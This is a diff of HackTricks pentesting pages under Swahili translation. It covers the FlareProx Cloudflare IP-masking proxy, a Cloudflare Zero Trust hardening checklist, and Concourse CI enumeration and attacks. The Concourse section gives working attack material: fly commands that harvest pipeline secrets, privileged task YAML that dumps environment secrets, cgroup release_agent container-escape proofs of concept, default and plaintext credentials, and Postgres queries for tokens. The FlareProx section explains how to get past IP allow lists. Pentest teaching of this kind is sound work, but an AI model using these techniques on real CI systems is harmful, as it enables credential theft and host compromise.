#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -233,60 +223,59 @@ import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
print(f"Request error: {e}")
```
</details>
**Burp/Scanner integration**
- Point tooling (for example, Burp Suite) at the Worker URL.
- Supply the real upstream using ?url= or X-Target-URL.
- HTTP semantics (methods/headers/body) are preserved while masking your source IP behind Cloudflare.
**Uunganisho wa Burp/Scanner**
- Elekeza zana (kwa mfano, Burp Suite) kwenye Worker URL.
- Toa upstream halisi kwa kutumia ?url= au X-Target-URL.
- Semantiki za HTTP (methods/headers/body) zinahifadhiwa huku zikificha IP yako ya chanzo nyuma ya Cloudflare.
**Operational notes and limits**
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
- Workers run on Cloudflares network; many targets will only see Cloudflare IPs/ASN, which can bypass naive IP allow/deny lists or geo heuristics.
- Use responsibly and only with authorization. Respect ToS and robots.txt.
**Vidokezo vya uendeshaji na mipaka**
- Cloudflare Workers Free plan inaruhusu takriban maombi 100,000 kwa siku kwa akaunti; tumia endpoints kadhaa kusambaza trafiki ikiwa inahitajika.
- Workers zinaendesha kwenye mtandao wa Cloudflare; malengo mengi yataona tu Cloudflare IPs/ASN, ambayo inaweza kupita orodha rahisi za kuruhusu/kukataa IP au heuristics za kijiografia.
- Tumia kwa uwajibikaji na tu ukiwa na idhini. Heshimu ToS na robots.txt.
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
Katika akaunti ya **Cloudflare Zero Trust Network** kuna **mipangilio na huduma** ambazo zinaweza kuwekewa mipangilio. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Useful to **get to know the environment**
- [ ] Inasaidia **kujua mazingira**
### **Gateway**
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
- [ ] Katika **`Policies`** inawezekana kuunda sera za **kuzuia** kwa **DNS**, **mtandao** au **HTTP** ombi nani anaweza kufikia programu.
- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti mbaya.
- Hii ni **muhimu tu ikiwa gateway inatumika**, ikiwa sivyo, hakuna sababu ya kuunda sera za kujihami.
### Access
#### Applications
On each application:
Katika kila programu:
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] Angalia **nani** anaweza kufikia programu katika **Policies** na hakikisha kwamba **tu** **watumiaji** ambao **wanahitaji ufikiaji** wa programu wanaweza kufikia.
- Ili kuruhusu ufikiaji, **`Access Groups`** zitatumika (na **kanuni za ziada** zinaweza kuwekwa pia)
- [ ] Angalia **watoa kitambulisho** wanaopatikana na hakikisha hawako **wazi sana**
- [ ] Katika **`Settings`**:
- [ ] Angalia **CORS haijawashwa** (ikiwa imewashwa, angalia ni **salama** na hairuhusu kila kitu)
- [ ] Cookies zinapaswa kuwa na sifa ya **Strict Same-Site**, **HTTP Only** na **binding cookie** inapaswa kuwa **imewashwa** ikiwa programu ni HTTP.
- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu **[**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vimewekwa **vizuri** kwa watumiaji wanapaswa kuruhusu.
- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha default hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **default** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**.
- Kumbuka kwamba inawezekana kutoa **ufikiaji** kwa **KILA MTU** na sera nyingine **wazi sana** ambazo hazipendekezwi isipokuwa ni muhimu 100%.
#### Service Auth
- [ ] Check that all service tokens **expires in 1 year or less**
- [ ] Angalia kwamba tokeni zote za huduma **zinakoma katika mwaka 1 au chini**
#### Tunnels
@@ -50,15 +50,12 @@ TODO
### Logs
- [ ] You could search for **unexpected actions** from users
- [ ] Unaweza kutafuta **vitendo visivyotarajiwa** kutoka kwa watumiaji
### Settings
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
- [ ] Angalia **aina ya mpango**
- [ ] Inawezekana kuona **jina la mmiliki wa kadi ya mkopo**, **nambari 4 za mwisho**, tarehe ya **kuisha** na **anwani**
- [ ] Inapendekezwa **kuongeza Uthibitisho wa Kiti cha Mtumiaji** ili kuondoa watumiaji ambao hawatumii huduma hii kwa kweli
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,36 +1,33 @@
# Concourse Security
# Usalama wa Concourse
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
Concourse inakuwezesha **kujenga mipango** ya kiotomatiki kuendesha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...)
## Concourse Architecture
## Muktadha wa Concourse
Learn how the concourse environment is structured in:
Jifunze jinsi mazingira ya concourse yalivyojengwa katika:
{{#ref}}
concourse-architecture.md
{{#endref}}
## Concourse Lab
## Maabara ya Concourse
Learn how you can run a concourse environment locally to do your own tests in:
Jifunze jinsi unavyoweza kuendesha mazingira ya concourse kwa ndani ili kufanya majaribio yako mwenyewe katika:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Enumerate & Attack Concourse
## Kuorodhesha & Kushambulia Concourse
Learn how you can enumerate the concourse environment and abuse it in:
Jifunze jinsi unavyoweza kuorodhesha mazingira ya concourse na kuyatumia vibaya katika:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,9 +4,7 @@
## Concourse Architecture
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
[**Data muhimu kutoka kwa nyaraka za Concourse:**](https://concourse-ci.org/internals.html)
### Architecture
@@ -14,29 +12,27 @@
#### ATC: web UI & build scheduler
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya pipeline. In **unganishwa na PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo kumbukumbu za ujenzi).
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
Jukumu la [checker](https://concourse-ci.org/checker.html) ni kuangalia mara kwa mara toleo jipya la rasilimali. [scheduler](https://concourse-ci.org/scheduler.html) ina jukumu la kupanga ujenzi kwa kazi na [build tracker](https://concourse-ci.org/build-tracker.html) ina jukumu la kuendesha ujenzi wowote uliopangwa. [garbage collector](https://concourse-ci.org/garbage-collector.html) ni mekanizma ya kusafisha ili kuondoa vitu vyovyote visivyotumika au vya zamani, kama vile kontena na volumes.
#### TSA: worker registration & forwarding
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
TSA ni **seva ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa ajili ya **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc).
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na iko nyuma ya balancer ya mzigo.
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
**TSA inatekeleza CLI kupitia muunganisho wa SSH,** ikisaidia [**amri hizi**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
Ili kutekeleza kazi, Concourse lazima iwe na baadhi ya wafanyakazi. Wafanyakazi hawa **hujiandikisha** kupitia [TSA](https://concourse-ci.org/internals.html#component-tsa) na kuendesha huduma [**Garden**](https://github.com/cloudfoundry-incubator/garden) na [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
- **Garden**: Hii ni **Container Manage API**, kwa kawaida inafanya kazi kwenye **bandari 7777** kupitia **HTTP**.
- **Baggageclaim**: Hii ni **Volume Management API**, kwa kawaida inafanya kazi kwenye **bandari 7788** kupitia **HTTP**.
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,47 +8,45 @@
### User Roles & Permissions
Concourse comes with five roles:
Concourse inakuja na majukumu matano:
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
- _Concourse_ **Admin**: Hiki ni jukumu linalotolewa tu kwa wamiliki wa **timu kuu** (timu ya awali ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.
- **owner**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**.
- **member**: Wajumbe wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu.
- **pipeline-operator**: Wafanya kazi wa pipeline wanaweza kufanya **operesheni za pipeline** kama vile kuanzisha ujenzi na kufunga rasilimali, hata hivyo hawawezi kuboresha mipangilio ya pipeline.
- **viewer**: Waangalizi wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mipangilio yake.
> [!NOTE]
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Aidha, **ruhusa za majukumu owner, member, pipeline-operator na viewer zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
Kumbuka kwamba Concourse **inaunganisha pipelines ndani ya Timu**. Hivyo basi watumiaji wanaotokana na Timu wataweza kusimamia pipelines hizo na **timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao.
### Vars & Credential Manager
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia `((_source-name_:_secret-path_._secret-field_))`.\
[Kutoka kwenye nyaraka:](https://concourse-ci.org/vars.html#var-syntax) **source-name ni hiari**, na ikiwa imeachwa, [meneja wa akiba wa kiwango cha klasta](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) atatumika, au thamani inaweza kutolewa [kwa statically](https://concourse-ci.org/vars.html#static-vars).\
**_secret-field**_ ya hiari inabainisha uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\
Aidha, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacter maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaanzisha _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`.
#### Static Vars
Static vars can be specified in **tasks steps**:
Static vars zinaweza kubainishwa katika **hatua za kazi**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or kutumia `fly` **hoja** zifuatazo:
Or using the following `fly` **arguments**:
- `-v` au `--var` `NAME=VALUE` inaweka string `VALUE` kama thamani ya var `NAME`.
- `-y` au `--yaml-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya var `NAME`.
- `-i` au `--instance-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya instance var `NAME`. Tazama [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) kujifunza zaidi kuhusu instance vars.
- `-l` au `--load-vars-from` `FILE` inaweka `FILE`, hati ya YAML inayoshikilia majina ya var yanayolingana na thamani, na inaweka zote.
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
#### Usimamizi wa Akreditivu
#### Credential Management
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
Kuna njia tofauti ambazo **Msimamizi wa Akreditivu unaweza kuainishwa** katika pipeline, soma jinsi katika [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Zaidi ya hayo, Concourse inasaidia wasimamizi wa akreditivu tofauti:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -61,66 +59,64 @@ Moreover, Concourse supports different credential managers:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
> Kumbuka kwamba ikiwa una aina fulani ya **ufikiaji wa kuandika kwa Concourse** unaweza kuunda kazi za **kuondoa siri hizo** kwani Concourse inahitaji kuwa na uwezo wa kuzifikia.
### Concourse Enumeration
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akreditivu halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`.
#### Login and Current User enum
#### Ingia na Enum Mtumiaji wa Sasa
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
- Ili kuingia unahitaji kujua **kiungo**, **jina la timu** (kawaida ni `main`) na **timu ambayo mtumiaji anahusishwa nayo**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Pata **malengo** yaliyoanzishwa:
- `fly targets`
- Pata ikiwa **kiungo kilichowekwa** bado ni **halali**:
- `fly -t <target> status`
- Pata **jukumu** la mtumiaji dhidi ya lengo lililoonyeshwa:
- `fly -t <target> userinfo`
> [!NOTE]
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
> Kumbuka kwamba **token ya API** inahifadhiwa katika `$HOME/.flyrc` kwa kawaida, unapoiba mashine unaweza kuipata huko akreditivu.
#### Teams & Users
#### Timu & Watumiaji
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
- Pata orodha ya Timu
- `fly -t <target> teams`
- Pata majukumu ndani ya timu
- `fly -t <target> get-team -n <team-name>`
- Pata orodha ya watumiaji
- `fly -t <target> active-users`
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
- **Orodha** ya pipelines:
- `fly -t <target> pipelines -a`
- **Pata** yaml ya pipeline (**taarifa nyeti** zinaweza kupatikana katika ufafanuzi):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Pata **mabadiliko yote ya vars yaliyoelezwa** ya pipeline
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Pata majina yote ya **siri za pipelines zilizotumika** (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Containers & Workers
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
- Orodha **workers**:
- `fly -t <target> workers`
- Orodha **containers**:
- `fly -t <target> containers`
- Orodha **builds** (kuona kinachoendelea):
- `fly -t <target> builds`
### Concourse Attacks
@@ -129,92 +125,85 @@ rm /tmp/secrets.txt
- admin:admin
- test:test
#### Secrets and params enumeration
#### Usanidi wa siri na params
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vars** zinazotumiwa na pipeline. **Vars zinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa muhimu baadaye kujaribu kuiba** hizo.
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
#### Kikao ndani ya container inayokimbia au iliyokimbia hivi karibuni
Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuorodhesha pipelines na roles** na kupata tu **kikao ndani** ya `<pipeline>/<job>` **container** kwa kutumia:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Kwa ruhusa hizi unaweza kuwa na uwezo wa:
With these permissions you might be able to:
- **Kuhujumu siri** ndani ya **konteina**
- Jaribu **kutoroka** hadi kwenye node
- Kuorodhesha/Kutumia vibaya **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node, ikiwa inawezekana)
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
#### Uundaji/Modification wa Pipeline
Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuunda/kubadilisha pipelines mpya.** Angalia mfano huu:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Kwa **kubadilisha/kuunda** pipeline mpya utaweza:
With the **modification/creation** of a new pipeline you will be able to:
- **Kuharibu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`)
- **Kutoroka** hadi **node** (kwa kukupa ruhusa za kutosha - `privileged: true`)
- Kuorodhesha/Kutumia **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node)
- **Kufuta** pipeline iliyoundwa
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
#### Teua Kazi Maalum
Hii ni sawa na njia ya awali lakini badala ya kubadilisha/kuunda pipeline mpya kabisa unaweza **tu kutekeleza kazi maalum** (ambayo labda itakuwa **siri zaidi**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Kutoroka kwenye node kutoka kwa kazi yenye mamlaka
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa kontena ufikiaji sawa na bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.
Katika PoC ifuatayo tutatumia release_agent kutoroka na mabadiliko madogo:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -272,14 +261,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
> Kama unavyojua hii ni [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu kubadilisha njia ya cmd katika node
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
#### Kutoroka hadi node kutoka kwa kontena la Worker
Kutoroka kwa release_agent wa kawaida na mabadiliko madogo yanatosha kwa hili:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -306,13 +293,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Kutoroka kwenye node kutoka kwenye kontena la Web
#### Escaping to the node from the Web container
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
Hata kama kontena la web lina baadhi ya ulinzi uliozimwa, **halifanyi kazi kama kontena la kawaida lenye mamlaka** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwenye kontena hazifai).
Hata hivyo, inahifadhi **akiba za ndani kwa maandiko wazi**:
```bash
cat /concourse-auth/local-users
test:test
@@ -321,11 +306,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Unaweza kutumia akreditivu hizo **kuingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi kwenye node**.
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
Katika mazingira unaweza pia kupata taarifa za **kufikia** mfano wa postgresql ambao concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na database miongoni mwa taarifa nyingine):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -346,39 +329,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Abusing Garden Service - Not a real Attack
#### Kutumia Huduma ya Garden - Si Shambulio Halisi
> [!WARNING]
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
